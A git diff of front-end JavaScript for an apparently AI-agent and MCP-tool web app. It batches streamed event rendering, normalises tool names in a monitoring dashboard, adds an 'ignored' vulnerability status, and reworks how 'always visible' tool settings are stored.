applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||
});
|
||||
}
|
||||
|
||||
function resetStreamPlainTextState(contentEl) {
|
||||
if (!contentEl) return;
|
||||
const state = streamPlainDomState.get(contentEl);
|
||||
if (state && state.rafId) {
|
||||
cancelAnimationFrame(state.rafId);
|
||||
}
|
||||
streamPlainDomState.delete(contentEl);
|
||||
streamPlainDomPendingElements.delete(contentEl);
|
||||
}
|
||||
|
||||
function flushAllPendingStreamPlainUpdates() {
|
||||
streamPlainDomPendingElements.forEach(function (el) {
|
||||
if (el && el.isConnected) {
|
||||
flushStreamPlainTextUpdate(el);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */
|
||||
function setTimelineItemContentStreamPlain(contentEl, text) {
|
||||
if (!contentEl) return;
|
||||
contentEl.classList.add('timeline-stream-plain');
|
||||
contentEl.textContent = text == null ? '' : String(text);
|
||||
resetStreamPlainTextState(contentEl);
|
||||
applyStreamPlainTextNow(contentEl, text, null);
|
||||
}
|
||||
|
||||
/**
|
||||
* 分批处理 SSE data 行并在批间让出主线程,避免单次 read() 内数百条事件连续阻塞 UI。
|
||||
* @param {string[]} lines
|
||||
* @param {(event: object) => void} onEvent
|
||||
* @param {{ yieldEvery?: number }} [options]
|
||||
*/
|
||||
async function processSseDataLinesYielding(lines, onEvent, options) {
|
||||
const yieldEvery = (options && options.yieldEvery) || 32;
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
const line = lines[i];
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
onEvent(JSON.parse(line.slice(6)));
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
if ((i + 1) % yieldEvery === 0 && i + 1 < lines.length) {
|
||||
await new Promise(function (resolve) { requestAnimationFrame(resolve); });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** 流结束或非流式:富文本(已消毒的 HTML 字符串) */
|
||||
function setTimelineItemContentStreamRich(contentEl, html) {
|
||||
if (!contentEl) return;
|
||||
resetStreamPlainTextState(contentEl);
|
||||
contentEl.classList.remove('timeline-stream-plain');
|
||||
contentEl.innerHTML = html;
|
||||
}
|
||||
@@ -1054,6 +1181,9 @@ function integrateProgressToMCPSection(progressId, assistantMessageId, mcpExecut
|
||||
const progressElement = document.getElementById(progressId);
|
||||
if (!progressElement) return;
|
||||
|
||||
// 快照 innerHTML 前刷掉尚未执行的 rAF 流式更新,避免过程详情少最后几帧
|
||||
flushAllPendingStreamPlainUpdates();
|
||||
|
||||
// Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
|
||||
// Otherwise, once the progress element is removed, later 'done' events may not be able
|
||||
// to update the original timeline DOM and the copied HTML would stay "执行中".
|
||||
@@ -1668,7 +1798,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
if (item) {
|
||||
const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
||||
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1688,6 +1818,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
if (item) {
|
||||
const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
flushStreamPlainTextUpdate(contentEl);
|
||||
if (typeof formatMarkdown === 'function') {
|
||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
|
||||
} else {
|
||||
@@ -1784,6 +1915,21 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
break;
|
||||
}
|
||||
|
||||
case 'eino_empty_response_continue': {
|
||||
const d = event.data || {};
|
||||
const title = typeof window.t === 'function'
|
||||
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||
: '🔁 自动续跑(无助手正文)';
|
||||
addTimelineItem(timeline, 'warning', {
|
||||
title: title,
|
||||
message: event.message || (typeof window.t === 'function'
|
||||
? window.t('chat.einoEmptyResponseContinueMessage')
|
||||
: '会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…'),
|
||||
data: d
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
case 'eino_run_retry': {
|
||||
const d = event.data || {};
|
||||
const title = typeof window.t === 'function'
|
||||
@@ -1899,7 +2045,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
const pre = item.querySelector('pre.tool-result');
|
||||
if (pre) {
|
||||
pre.classList.remove('tool-result-pending');
|
||||
pre.textContent = state.buffer;
|
||||
scheduleStreamPlainTextUpdate(pre, state.buffer);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -2006,7 +2152,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
}
|
||||
}
|
||||
if (contentEl) {
|
||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
||||
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -2033,6 +2179,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
contentEl.className = 'timeline-item-content';
|
||||
item.appendChild(contentEl);
|
||||
}
|
||||
flushStreamPlainTextUpdate(contentEl);
|
||||
if (typeof formatMarkdown === 'function') {
|
||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
|
||||
} else {
|
||||
@@ -2209,15 +2356,13 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
|
||||
state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
|
||||
|
||||
// 更新时间线条目内容
|
||||
// 流式阶段仅追加纯文本;formatTimelineStreamBody 在终态 response 时一次性处理
|
||||
if (state.itemId) {
|
||||
const item = document.getElementById(state.itemId);
|
||||
if (item) {
|
||||
const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
const meta = state.streamMeta || responseData;
|
||||
const body = formatTimelineStreamBody(state.buffer, meta);
|
||||
setTimelineItemContentStreamPlain(contentEl, body);
|
||||
scheduleStreamPlainTextUpdate(contentEl, state.buffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2757,39 +2902,22 @@ async function attachRunningTaskEventStream(conversationId) {
|
||||
const reader = response.body.getReader();
|
||||
const decoder = new TextDecoder();
|
||||
let buffer = '';
|
||||
const dispatchTaskEvent = function (eventData) {
|
||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||
};
|
||||
while (true) {
|
||||
const chunk = await reader.read();
|
||||
if (chunk.done) break;
|
||||
buffer += decoder.decode(chunk.value, { stream: true });
|
||||
const lines = buffer.split('\n');
|
||||
buffer = lines.pop() || '';
|
||||
for (let li = 0; li < lines.length; li++) {
|
||||
const line = lines[li];
|
||||
if (line.indexOf('data: ') === 0) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||
} catch (e) {
|
||||
console.error('task-events parse', e);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||
}
|
||||
// Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
|
||||
buffer += decoder.decode();
|
||||
if (buffer.trim()) {
|
||||
const lines = buffer.split('\n');
|
||||
for (let li = 0; li < lines.length; li++) {
|
||||
const line = lines[li];
|
||||
if (line.indexOf('data: ') === 0) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||
} catch (e) {
|
||||
console.error('task-events parse', e);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||
}
|
||||
if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
|
||||
clearCsTaskReplay();
|
||||
@@ -2921,7 +3049,9 @@ function mergeToolResultIntoCallItem(item, data, options) {
|
||||
const pre = section.querySelector('pre.tool-result');
|
||||
if (pre) {
|
||||
pre.classList.remove('tool-result-pending');
|
||||
flushStreamPlainTextUpdate(pre);
|
||||
pre.textContent = text;
|
||||
resetStreamPlainTextState(pre);
|
||||
}
|
||||
|
||||
if (data.executionId) {
|
||||
@@ -3521,9 +3651,10 @@ async function applyMonitorFilters() {
|
||||
const statusFilter = document.getElementById('monitor-status-filter');
|
||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||
const status = statusFilter ? statusFilter.value : 'all';
|
||||
const tool = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
||||
const toolRaw = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
||||
const tool = toolRaw === 'all' ? 'all' : canonicalMonitorToolName(toolRaw);
|
||||
if (toolFilter) {
|
||||
toolFilter.classList.toggle('is-filter-active', tool !== 'all');
|
||||
toolFilter.classList.toggle('is-filter-active', toolRaw !== 'all');
|
||||
}
|
||||
// 当筛选条件改变时,从后端重新获取数据
|
||||
await refreshMonitorPanelWithFilter(status, tool);
|
||||
@@ -3930,9 +4061,10 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
|
||||
|
||||
if (!hasTools && !showTimeline) return '';
|
||||
|
||||
const filterChipLabel = activeToolFilter ? formatMonitorToolName(activeToolFilter) : '';
|
||||
const filterChip = activeToolFilter
|
||||
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: activeToolFilter }) || activeToolFilter)}">
|
||||
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: activeToolFilter }) || `已筛选:${activeToolFilter}`)}</span>
|
||||
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: filterChipLabel }) || filterChipLabel)}">
|
||||
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: filterChipLabel }) || `已筛选:${filterChipLabel}`)}</span>
|
||||
<button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button>
|
||||
</span>`
|
||||
: '';
|
||||
@@ -4372,7 +4504,7 @@ function updateMonitorStatsSubtitle(lastFetchedAt, toolCount) {
|
||||
function filterMonitorByTool(toolName) {
|
||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||
if (!toolFilter || !toolName) return;
|
||||
toolFilter.value = toolName;
|
||||
toolFilter.value = formatMonitorToolName(toolName);
|
||||
toolFilter.classList.add('is-filter-active');
|
||||
applyMonitorFilters();
|
||||
const execSection = document.querySelector('.monitor-executions');
|
||||
@@ -4504,7 +4636,8 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
||||
|
||||
let rowsHtml = '';
|
||||
topTools.forEach((tool, index) => {
|
||||
const name = tool.toolName || unknownToolLabel;
|
||||
const rawName = tool.toolName || unknownToolLabel;
|
||||
const name = formatMonitorToolName(rawName);
|
||||
const total = tool.totalCalls || 0;
|
||||
const success = tool.successCalls || 0;
|
||||
const failed = tool.failedCalls || 0;
|
||||
@@ -4512,14 +4645,14 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
||||
const toolRate = toolRateNum.toFixed(1);
|
||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||
const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||
const isActive = activeToolFilter && activeToolFilter === name;
|
||||
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||
|| `${name},${total} 次调用,成功率 ${toolRate}%`;
|
||||
rowsHtml += `
|
||||
<tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}"
|
||||
data-tool-name="${escapeHtml(name)}"
|
||||
data-tool-name="${escapeHtml(rawName)}"
|
||||
tabindex="0"
|
||||
role="button"
|
||||
aria-label="${escapeHtml(rowAria)}"
|
||||
@@ -4568,14 +4701,15 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
const distAria = mcpMonitorT('distTitle') || '调用分布';
|
||||
|
||||
const stackedHtml = segments.map((s) => {
|
||||
const isActive = !s.isOthers && activeToolFilter && activeToolFilter === s.name;
|
||||
const title = `${s.name} · ${s.pct}% · ${s.calls}`;
|
||||
const isActive = !s.isOthers && activeToolFilter && monitorToolNamesEqual(activeToolFilter, s.name);
|
||||
const displayName = s.isOthers ? s.name : formatMonitorToolName(s.name);
|
||||
const title = `${displayName} · ${s.pct}% · ${s.calls}`;
|
||||
if (s.isOthers) {
|
||||
return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation"
|
||||
style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`;
|
||||
}
|
||||
const segAria = mcpMonitorT('distSegmentAria', { name: s.name, pct: s.pct, calls: s.calls })
|
||||
|| `${s.name},占 ${s.pct}%,${s.calls} 次`;
|
||||
const segAria = mcpMonitorT('distSegmentAria', { name: displayName, pct: s.pct, calls: s.calls })
|
||||
|| `${displayName},占 ${s.pct}%,${s.calls} 次`;
|
||||
return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}"
|
||||
data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0"
|
||||
role="button" tabindex="0" aria-label="${escapeHtml(segAria)}"
|
||||
@@ -4584,7 +4718,8 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
|
||||
const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0));
|
||||
const listHtml = topTools.map((tool, index) => {
|
||||
const name = tool.toolName || unknownToolLabel;
|
||||
const rawName = tool.toolName || unknownToolLabel;
|
||||
const name = formatMonitorToolName(rawName);
|
||||
const total = tool.totalCalls || 0;
|
||||
const success = tool.successCalls || 0;
|
||||
const failed = tool.failedCalls || 0;
|
||||
@@ -4593,7 +4728,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||
const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||
const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0';
|
||||
const isActive = activeToolFilter && activeToolFilter === name;
|
||||
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||
@@ -4602,7 +4737,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>`
|
||||
: '';
|
||||
return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}"
|
||||
data-tool-name="${escapeHtml(name)}" tabindex="0" role="button"
|
||||
data-tool-name="${escapeHtml(rawName)}" tabindex="0" role="button"
|
||||
aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}">
|
||||
<span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span>
|
||||
<span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span>
|
||||
@@ -4836,7 +4971,7 @@ function renderMonitorExecutions(executions = [], statusFilter = 'all') {
|
||||
const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status);
|
||||
const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel;
|
||||
const duration = formatExecutionDuration(exec.startTime, exec.endTime);
|
||||
const toolName = escapeHtml(exec.toolName || unknownToolLabel);
|
||||
const toolName = escapeHtml(formatMonitorToolName(exec.toolName) || unknownToolLabel);
|
||||
const rawExecId = exec.id || '';
|
||||
const executionId = escapeHtml(rawExecId);
|
||||
const terminateBtn = status === 'running'
|
||||
|
||||
@@ -463,9 +463,10 @@ function formatVulnStatusBadge(status) {
|
||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||
fixed: 'vulnerabilityPage.statusFixed',
|
||||
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||
ignored: 'vulnerabilityPage.statusIgnored',
|
||||
};
|
||||
const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
|
||||
const cls = ['open', 'confirmed', 'fixed', 'false_positive'].includes(s) ? s : 'open';
|
||||
const cls = ['open', 'confirmed', 'fixed', 'false_positive', 'ignored'].includes(s) ? s : 'open';
|
||||
return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
|
||||
}
|
||||
|
||||
|
||||
+18
-10
@@ -315,6 +315,9 @@ function showSubmenuPopup(navItem, menuId) {
|
||||
async function initPage(pageId) {
|
||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
|
||||
if (window.i18nReady) await window.i18nReady;
|
||||
if (typeof stopExternalMcpPoll === 'function') {
|
||||
stopExternalMcpPoll();
|
||||
}
|
||||
switch(pageId) {
|
||||
case 'dashboard':
|
||||
if (typeof refreshDashboard === 'function') {
|
||||
@@ -372,21 +375,26 @@ async function initPage(pageId) {
|
||||
}, 100);
|
||||
}
|
||||
};
|
||||
// 先拉取全局配置,确保 tool_search 常驻状态按后端生效集合展示
|
||||
const afterMcpConfigReady = () => {
|
||||
startLoadMcpTools();
|
||||
if (typeof loadExternalMCPs === 'function') {
|
||||
loadExternalMCPs().catch(err => {
|
||||
console.warn('加载外部MCP列表失败:', err);
|
||||
});
|
||||
}
|
||||
if (typeof startExternalMcpPoll === 'function') {
|
||||
startExternalMcpPoll();
|
||||
}
|
||||
};
|
||||
// 先拉取配置(含 tool_search 常驻列表),再加载工具与外部 MCP
|
||||
if (typeof loadConfig === 'function') {
|
||||
loadConfig(false)
|
||||
.catch(err => {
|
||||
console.warn('加载配置失败(将继续加载工具列表):', err);
|
||||
console.warn('加载配置失败(将继续加载 MCP 列表):', err);
|
||||
})
|
||||
.finally(startLoadMcpTools);
|
||||
.finally(afterMcpConfigReady);
|
||||
} else {
|
||||
startLoadMcpTools();
|
||||
}
|
||||
// 先加载外部MCP列表(快速),然后加载工具列表
|
||||
if (typeof loadExternalMCPs === 'function') {
|
||||
loadExternalMCPs().catch(err => {
|
||||
console.warn('加载外部MCP列表失败:', err);
|
||||
});
|
||||
afterMcpConfigReady();
|
||||
}
|
||||
break;
|
||||
case 'projects':
|
||||
|
||||
+279
-75
@@ -16,6 +16,96 @@ function getToolKey(tool) {
|
||||
}
|
||||
return tool.name;
|
||||
}
|
||||
|
||||
// 常驻工具配置存储键(外部工具用 mcp::tool,与后端 tool_search 白名单一致)
|
||||
function getAlwaysVisibleStorageKey(tool) {
|
||||
return getToolKey(tool);
|
||||
}
|
||||
|
||||
function addAlwaysVisibleAliases(name) {
|
||||
const n = (name || '').trim();
|
||||
if (!n) return;
|
||||
alwaysVisibleToolNames.add(n);
|
||||
if (n.includes('::')) {
|
||||
const sep = n.indexOf('::');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.add(`${mcp}__${tool}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (n.includes('__')) {
|
||||
const sep = n.lastIndexOf('__');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.add(`${mcp}::${tool}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function removeAlwaysVisibleAliases(name) {
|
||||
const n = (name || '').trim();
|
||||
if (!n) return;
|
||||
alwaysVisibleToolNames.delete(n);
|
||||
if (n.includes('::')) {
|
||||
const sep = n.indexOf('::');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.delete(`${mcp}__${tool}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (n.includes('__')) {
|
||||
const sep = n.lastIndexOf('__');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.delete(`${mcp}::${tool}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function isToolAlwaysVisible(tool) {
|
||||
const key = getAlwaysVisibleStorageKey(tool);
|
||||
if (alwaysVisibleToolNames.has(key)) return true;
|
||||
if (alwaysVisibleToolNames.has(tool.name)) return true;
|
||||
if (tool.is_external && tool.external_mcp) {
|
||||
if (alwaysVisibleToolNames.has(`${tool.external_mcp}__${tool.name}`)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function isToolAlwaysVisibleBuiltin(tool) {
|
||||
if (alwaysVisibleBuiltinToolNames.has(tool.name)) return true;
|
||||
return alwaysVisibleBuiltinToolNames.has(getAlwaysVisibleStorageKey(tool));
|
||||
}
|
||||
|
||||
function getAlwaysVisibleForSave() {
|
||||
const out = new Set();
|
||||
for (const name of alwaysVisibleToolNames) {
|
||||
if (alwaysVisibleBuiltinToolNames.has(name)) continue;
|
||||
if (name.includes('::')) {
|
||||
out.add(name);
|
||||
continue;
|
||||
}
|
||||
if (name.includes('__')) {
|
||||
const sep = name.lastIndexOf('__');
|
||||
const mcp = name.slice(0, sep);
|
||||
const tool = name.slice(sep + 2);
|
||||
if (mcp && tool) out.add(`${mcp}::${tool}`);
|
||||
continue;
|
||||
}
|
||||
out.add(name);
|
||||
}
|
||||
return Array.from(out);
|
||||
}
|
||||
|
||||
function countUserAlwaysVisibleTools() {
|
||||
return getAlwaysVisibleForSave().length;
|
||||
}
|
||||
// 从localStorage读取每页显示数量,默认为20
|
||||
const getToolsPageSize = () => {
|
||||
const saved = localStorage.getItem('toolsPageSize');
|
||||
@@ -158,14 +248,21 @@ async function loadConfig(loadTools = true) {
|
||||
}
|
||||
|
||||
currentConfig = await response.json();
|
||||
const alwaysVisibleList = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
||||
const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
|
||||
alwaysVisibleToolNames = new Set(Array.isArray(alwaysVisibleList) ? alwaysVisibleList.filter(Boolean) : []);
|
||||
alwaysVisibleBuiltinToolNames = new Set(
|
||||
alwaysVisibleToolNames.size > 0 && Array.isArray(alwaysVisibleConfigured)
|
||||
? Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleConfigured.includes(name))
|
||||
: []
|
||||
);
|
||||
const alwaysVisibleEffective = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
||||
alwaysVisibleToolNames = new Set();
|
||||
if (Array.isArray(alwaysVisibleConfigured)) {
|
||||
alwaysVisibleConfigured.filter(Boolean).forEach(addAlwaysVisibleAliases);
|
||||
}
|
||||
alwaysVisibleBuiltinToolNames = new Set();
|
||||
if (Array.isArray(alwaysVisibleEffective)) {
|
||||
const configuredSet = new Set(Array.isArray(alwaysVisibleConfigured) ? alwaysVisibleConfigured : []);
|
||||
alwaysVisibleEffective.filter(Boolean).forEach(name => {
|
||||
if (!configuredSet.has(name)) {
|
||||
alwaysVisibleBuiltinToolNames.add(name);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 填充OpenAI配置
|
||||
const providerEl = document.getElementById('openai-provider');
|
||||
@@ -442,8 +539,11 @@ let toolsSearchKeyword = '';
|
||||
// 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
|
||||
let toolsStatusFilter = '';
|
||||
|
||||
// 按外部 MCP 来源筛选(点击左侧卡片时设置)
|
||||
let toolsExternalMcpFilter = '';
|
||||
|
||||
// 加载工具列表(分页)
|
||||
async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
async function loadToolsList(page = 1, searchKeyword = '', options = {}) {
|
||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符
|
||||
if (window.i18nReady) await window.i18nReady;
|
||||
const toolsList = document.getElementById('tools-list');
|
||||
@@ -466,6 +566,12 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
if (toolsStatusFilter !== '') {
|
||||
url += `&enabled=${toolsStatusFilter}`;
|
||||
}
|
||||
if (options.refreshExternal) {
|
||||
url += '&refresh_external=true';
|
||||
}
|
||||
if (toolsExternalMcpFilter) {
|
||||
url += `&external_mcp=${encodeURIComponent(toolsExternalMcpFilter)}`;
|
||||
}
|
||||
|
||||
// 使用较短的超时时间(10秒),避免长时间等待
|
||||
const controller = new AbortController();
|
||||
@@ -486,6 +592,7 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
page: result.page || page,
|
||||
pageSize: result.page_size || pageSize,
|
||||
total: result.total || 0,
|
||||
totalEnabled: result.total_enabled ?? 0,
|
||||
totalPages: result.total_pages || 1
|
||||
};
|
||||
|
||||
@@ -504,6 +611,8 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
|
||||
renderToolsList();
|
||||
renderToolsPagination();
|
||||
renderExternalMcpFilterChip();
|
||||
updateExternalMcpCardSelection();
|
||||
} catch (error) {
|
||||
console.error('加载工具列表失败:', error);
|
||||
if (toolsList) {
|
||||
@@ -622,8 +731,8 @@ function renderToolsList() {
|
||||
is_external: tool.is_external || false,
|
||||
external_mcp: tool.external_mcp || ''
|
||||
};
|
||||
const alwaysVisibleChecked = alwaysVisibleToolNames.has(tool.name);
|
||||
const alwaysVisibleLocked = alwaysVisibleBuiltinToolNames.has(tool.name);
|
||||
const alwaysVisibleChecked = isToolAlwaysVisible(tool);
|
||||
const alwaysVisibleLocked = isToolAlwaysVisibleBuiltin(tool);
|
||||
|
||||
// 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片)
|
||||
let externalBadge = '';
|
||||
@@ -648,7 +757,7 @@ function renderToolsList() {
|
||||
${escapeHtml(tool.name)}
|
||||
${externalBadge}
|
||||
<label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
|
||||
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(tool.name)}', this.checked)" />
|
||||
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(toolKey)}', this.checked)" />
|
||||
<span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
|
||||
</label>
|
||||
${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
|
||||
@@ -763,8 +872,7 @@ function scrollToExternalMCP(mcpName, event) {
|
||||
event.stopPropagation();
|
||||
const items = document.querySelectorAll('.external-mcp-item');
|
||||
for (const item of items) {
|
||||
const h4 = item.querySelector('h4');
|
||||
if (h4 && h4.textContent.includes(mcpName)) {
|
||||
if (item.dataset.mcpName === mcpName) {
|
||||
item.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
item.classList.add('highlight');
|
||||
setTimeout(() => item.classList.remove('highlight'), 2000);
|
||||
@@ -773,6 +881,94 @@ function scrollToExternalMCP(mcpName, event) {
|
||||
}
|
||||
}
|
||||
|
||||
// 点击左侧外部 MCP 卡片,筛选并定位右侧工具列表
|
||||
async function scrollToExternalMCPTools(mcpName, event) {
|
||||
if (event) {
|
||||
if (event.target.closest('.external-mcp-item-actions, button, a, input, label')) {
|
||||
return;
|
||||
}
|
||||
event.stopPropagation();
|
||||
}
|
||||
|
||||
if (toolsExternalMcpFilter === mcpName) {
|
||||
await clearExternalMcpFilter();
|
||||
return;
|
||||
}
|
||||
|
||||
toolsExternalMcpFilter = mcpName;
|
||||
updateExternalMcpCardSelection();
|
||||
renderExternalMcpFilterChip();
|
||||
await loadToolsList(1, toolsSearchKeyword);
|
||||
|
||||
requestAnimationFrame(() => {
|
||||
highlightExternalMcpTools(mcpName);
|
||||
});
|
||||
}
|
||||
|
||||
function highlightExternalMcpTools(mcpName) {
|
||||
const toolsList = document.querySelector('.mcp-tools-panel .tools-list');
|
||||
if (toolsList) {
|
||||
toolsList.scrollTop = 0;
|
